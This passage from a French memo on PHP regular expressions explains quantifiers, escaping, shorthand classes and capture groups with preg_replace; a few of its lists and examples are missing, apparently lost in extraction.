#a{3,}# "a" doit apparaître au moins 3 fois ("aaa", "aaaa", "aaaaa", "aaaaaa" etc...)
Métacaractères
Les métacaractères sont :
Pour utiliser un métacaractère dans une recherche, il faut l'échapper avec un antislash : \
Regex Explication
#Hein?# Cherche "Hei" ou "Hein"
#Hein\?# Cherche "Hein?"
Les métacaractères n'ont pas besoin d'être échappés dans une classe, sauf pour "#" (symbole de fin de la regex) et "]"
(symbole de la fin de la classe) que l'on doit faire précéder d'un antislash.
Si on veut rechercher un tiret dans une classe de caractères, il faut le mettre au début ou à la fin de la classe :
Classes abrégées
Classe abrégée Correspondance
\d [0-9]
\D [^0-9]
\w [a-zA-Z0-9_]
\W [^a-zA-Z0-9_]
\t Tabulation
\n Nouvelle ligne
\r Retour chariot
\s Espace blanc (correspond à \t \n \r)
\S Ce qui n'est PAS un espace blanc (\t \n \r)
. Classe universelle
Capture et remplacement
En utilisant la fonction preg_replace on peut automatiquement faire des remplacement à l'aide de Regex.
Code : PHP
<?php
$texte = preg_replace('#\[b\](.+)
\[/b\]#i', '<strong>$1</strong>', $texte);
?>
Les parenthèses servent à entourer un bout de la Regex pour créer des variables $1, $2, $3 etc... Qui seront
utiles pour faire le remplacement
Il peut y avoir jusqu'à 99 parenthèses capturantes, donc jusqu'à $99
(?:truc) est une parenthèse non capturante : elle ne crée pas de variable.
Une variable $0 est toujours créée et correspond à l'ensemble de la Regex.
$0 : anticonstitutionnellement
$1 : anti
$2 : tutionnelle
$3 : tion
Options
Il existe de nombreuses options que l'on peut utiliser avec les Regex PCRE.
Parmi les 3 que nous sommes amenés le plus souvent à utiliser, il y a :
Voilà !
En espérant que ce petit Mémo serve au maximum d'entre vous... Il faut dire qu'il y a tellement de choses à retenir
avec les Regex qu'un petit appui comme celui-ci ne peut pas faire de mal